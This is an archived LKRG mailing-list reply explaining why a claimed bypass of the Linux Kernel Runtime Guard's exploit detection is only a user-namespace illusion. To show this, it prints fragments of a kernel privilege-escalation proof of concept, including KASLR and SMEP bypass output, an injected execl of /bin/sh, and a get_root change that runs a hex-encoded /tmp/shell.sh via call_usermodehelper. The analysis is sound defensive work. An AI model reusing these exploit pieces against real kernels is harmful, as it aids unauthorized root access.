[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Message-ID: <20181116202117.GA8486@pi3.com.pl>
Date: Fri, 16 Nov 2018 21:21:17 +0100
From: Adam Zabrocki <pi3@....com.pl>
To: lkrg-users@...ts.openwall.com
Subject: Re: LKRG Exploit Detection bypass (LOL)
Hi,
We've carefully analyzed exploit changes which you had made and we feel
obligated to inform everyone on this list that it is NOT an LKRG bypass.
Nevertheless, it's a nice trick of making it look otherwise ;-)
The exploit is written in a way that at first sets-up sandbox using namespaces.
Because user namespace is put in place, shell "thinks" it already has root
account privileges (via uid remapping). When you stop exploit exactly after
sandbox is set-up but before exploitation starts the work, you can get similar
shell:
pi3@...-ubuntu:~/z_confidence$ ./poc3
[.] starting
[.] checking distro and kernel versions
[.] kernel version '4.8.0-53-generic' detected
[~] done, versions looks good
[.] checking SMEP and SMAP
[~] done, looks good
[.] setting up namespace sandbox
[~] done, namespace sandbox set up
# id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
context=system_u:system_r:kernel_t:s0
# cat /etc/shadow
cat: /etc/shadow: Permission denied
Below you can see changes which I've made
pi3@...-ubuntu:~/z_confidence$ diff -u poc.c poc3.c
--- poc.c 2018-11-16 11:46:24.367607070 -0800
+++ poc3.c 2018-11-16 12:15:43.231904277 -0800
@@ -644,6 +644,8 @@
printf("[.] setting up namespace sandbox\n");
setup_sandbox();
printf("[~] done, namespace sandbox set up\n");
+ execl("/bin/sh", NULL);
+ exit(0);
#if ENABLE_KASLR_BYPASS
printf("[.] KASLR bypass enabled, getting kernel addr\n");
pi3@...-ubuntu:~/z_confidence$
One of the changes which Ilya made comparing to the original exploit is the
removal of credential overwrite from the get_root() function, which means that
none of the privileges are ever changed:
void get_root(void) {
- ((_commit_creds)(COMMIT_CREDS))(
- ((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0));
+ unsigned int *p = __builtin_alloca(16); p[0] = 0x706d742f; p[1] = 0x6568732f; p[2] = 0x732e6c6c; p[3] = 0x00000068;
+ (_call_umh)(p, NULL, NULL, 0);
}
Modified exploit is never abusing privileges to any process even though it
looks otherwise:
pi3@...-ubuntu:~/z_confidence$ ./poc
[.] starting
[.] checking distro and kernel versions
[.] kernel version '4.8.0-53-generic' detected
[~] done, versions looks good
[.] checking SMEP and SMAP
[~] done, looks good
[.] setting up namespace sandbox
[~] done, namespace sandbox set up
[.] KASLR bypass enabled, getting kernel addr
[~] done, kernel text: ffffffff89a00000
[.] commit_creds: ffffffff89aa5d00
[.] prepare_kernel_cred: ffffffff89aa60f0
[.] SMEP bypass enabled, mmapping fake stack
[~] done, fake stack mmapped
[.] executing payload ffffffff89a17c55
[~] done, should be root now
root@...-ubuntu:~/z_confidence# id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
context=system_u:system_r:kernel_t:s0
root@...-ubuntu:~/z_confidence# cat /etc/shadow
cat: /etc/shadow: Permission denied
root@...-ubuntu:~/z_confidence#
> But still keep in mind that everything you can do can be easily
> bypassed as LKRG acts at the same level as exploit.
Sure, We are fully aware of that, and even more, we have always been open about
that. We've listed potential LKRG bypasses in official presentation which you
can see here:
https://www.openwall.com/presentations/CONFidence2018-LKRG-Under-The-Hood/slide-39.html
Best regards,
Adam
--
pi3 (pi3ki31ny) - pi3 (at) itsec pl
http://pi3.com.pl
Powered by blists - more mailing lists
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
